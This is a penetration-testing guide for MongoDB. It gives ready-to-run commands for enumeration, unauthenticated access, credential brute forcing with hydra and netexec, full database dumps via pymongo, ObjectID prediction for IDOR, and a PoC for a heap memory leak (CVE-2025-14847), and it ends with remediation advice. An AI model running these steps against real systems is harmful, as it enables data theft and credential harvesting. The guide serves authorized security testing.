Pentesting MongoDB (port 27017)
When to Use
- Default ports
27017/tcpand27018/tcp(shard/replica members);27019config servers,28017legacy HTTP status. - Banner/
nmapshowsmongodband a version likeMongoDB 2.6.9. - Use whenever 27017/27018 is reachable — MongoDB requires no authentication by default and is one of the most commonly exposed databases.
Quick Enumeration
# All default mongo NSE scripts (info + brute check)
nmap -sV --script "mongo* and default" -p27017 <IP>
nmap -n -sV --script mongodb-brute -p27017 <IP> # checks if creds are needed
# Native client
mongo <IP>:27017
mongosh "mongodb://<IP>:27017"
# pymongo quick info
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
print(c.server_info())
print(list(c.list_databases()))
Critical: Checks Most Often Missed
- No-auth / unauthenticated access — the #1 miss. By default mongod accepts connections without credentials;
adminis a common DB.- How to CONFIRM:
mongo <IP>:27017connects andshow dbslists databases without prompting;nmap --script mongodb-brutereports "No authentication needed". Shodan:"mongodb server information" -"partially enabled"= fully open.
- How to CONFIRM:
- Weak / default credentials — if auth is on, brute force common pairs.
- How to CONFIRM:
mongo <db> -u admin -p <pass>connects, ornmap --script mongodb-brutefinds valid creds.
- How to CONFIRM:
- Config-based auth bypass (local root) —
noauth = true(or missingauth = true) inmongodb.conf//opt/bitnami/mongodb/mongodb.conf; if you have root on the host you can flip it and log in.- How to CONFIRM:
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v '^#'shows it enabled.
- How to CONFIRM:
- Predictable ObjectID enumeration (IDOR) — 12-byte ObjectIDs encode timestamp + machine id + process id + incrementing counter, so adjacent records are guessable in apps that expose them.
- How to CONFIRM: dissect an
_id(first 4 bytes = unix time); usemongo-objectid-predictto generate likely next IDs and test them.
- How to CONFIRM: dissect an
- MongoBleed (CVE-2025-14847) — unauthenticated heap memory disclosure — MongoDB 3.6–8.2 with the zlib network compressor enabled trusts an attacker-supplied
uncompressedSizeinOP_COMPRESSED, leaking uninitialized heap (creds, tokens) pre-auth on 27017.- How to CONFIRM:
db.adminCommand({getParameter:1, networkMessageCompressors:1})showszlib; the public PoCpython3 mongobleed.py --host <IP>returns leaked bytes.
- How to CONFIRM:
Workflow
Step 1: Enumerate
nmap -sV --script "mongo* and default" -p27017 <IP>
mongo <IP>:27017 --eval "db.version()"
mongo <IP>:27017 --eval "db.adminCommand({getParameter:1, networkMessageCompressors:1})" # MongoBleed check
Step 2: Authenticate (no-auth, default/weak creds, brute force)
mongo <IP>:27017 # try unauthenticated
mongo <HOST>:<PORT>/<DB> -u <user> -p '<pass>' # with creds
nmap -n -sV --script mongodb-brute -p27017 <IP>
hydra -L users.txt -P passwords.txt mongodb://<IP>
nxc mongodb <IP> -u users.txt -p passwords.txt
Step 3: Exploit / Extract (dump databases + collections)
// In the mongo shell
show dbs
use <db>
show collections
db.<collection>.count()
db.<collection>.find() // dump the collection
db.current.find({"username":"admin"}) // targeted lookup
# Full dump via pymongo when admin access is available
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
for d in c.list_database_names():
for coll in c[d].list_collection_names():
for doc in c[d][coll].find():
print(d, coll, doc)
# MongoBleed memory disclosure (pre-auth) when zlib compressor is enabled
python3 mongobleed.py --host <IP> --max-offset 50000 --output leaks.bin
Step 4: Post-access / privilege escalation / pivot
- Dump user collections / app secrets and reuse credentials against web apps, SSH, and other databases.
- With host root and
noauth=true, restart-free login gives full DB access. - ObjectID prediction enables IDOR against any app endpoint that takes a Mongo
_id. - Carve MongoBleed output (
leaks.bin) for credentials, API keys, and session tokens leaked from other connections //proc/ WiredTiger cache; repeat with varied offsets to aggregate secrets.
Key Concepts
| Concept | Description |
|---|---|
| No-auth default | mongod accepts connections without credentials unless auth/security.authorization is enabled. |
| admin database | Default administrative DB; presence of privileged users indicates auth is configured. |
| ObjectID structure | 12 bytes = 4-byte timestamp + 3-byte machine id + 2-byte PID + 3-byte counter (predictable). |
| OP_COMPRESSED / zlib | Wire-protocol compression abused by MongoBleed to over-allocate and leak heap. |
| MongoBleed (CVE-2025-14847) | Unauthenticated heap memory disclosure on 27017 when zlib compressor enabled. |
| noauth config | noauth=true / missing auth=true in mongodb.conf disables authentication. |
Tools & Systems
| Tool | Purpose |
|---|---|
| mongo / mongosh | Native shell for connecting, enumerating, and dumping collections. |
| pymongo | Scriptable client for server info and full database dumps. |
| nmap NSE | mongodb-info, mongodb-databases, mongodb-brute. |
| Metasploit | scanner/mongodb/mongodb_login and related auth modules. |
| netexec (nxc) | nxc mongodb <IP> -u .. -p .. for auth/spraying. |
| mongo-objectid-predict | Generate likely next ObjectIDs for IDOR enumeration. |
| mongobleed.py | PoC for CVE-2025-14847 unauthenticated memory disclosure. |
Common Scenarios
Scenario 1: No-auth → full dump
mongo <IP>:27017 connects without credentials. show dbs lists application databases; iterating collections with pymongo exfiltrates user records and secrets.
Scenario 2: ObjectID IDOR
An app exposes Mongo _id values in URLs. Using mongo-objectid-predict, the tester guesses adjacent ObjectIDs and accesses other users' documents through the app.
Scenario 3: MongoBleed credential leak
A 27017 instance has zlib compression enabled and a vulnerable version. The PoC repeatedly probes OP_COMPRESSED with oversized uncompressedSize, leaking heap fragments containing another tenant's credentials, all pre-authentication.
Output Format
## MongoDB Finding
**Service**: MongoDB
**Port**: 27017/tcp (MongoDB 4.4)
**Severity**: Critical
**Finding**: Unauthenticated MongoDB exposing all databases
**Evidence**:
- `mongo <IP>:27017` connected with no credentials
- show dbs -> admin, config, app_prod (users collection: 12,400 docs)
- db.app_prod.users.findOne() -> bcrypt password hashes + emails
**Impact**: Full unauthenticated read/write access to all stored data, enabling mass data theft and tampering.
**Recommendation**:
1. Enable authorization (`security.authorization: enabled`) and create least-privilege users.
2. Bind to localhost / private interfaces and restrict 27017-27018 by firewall.
3. Disable the zlib network compressor or patch to address CVE-2025-14847.
4. Avoid exposing predictable ObjectIDs in application interfaces.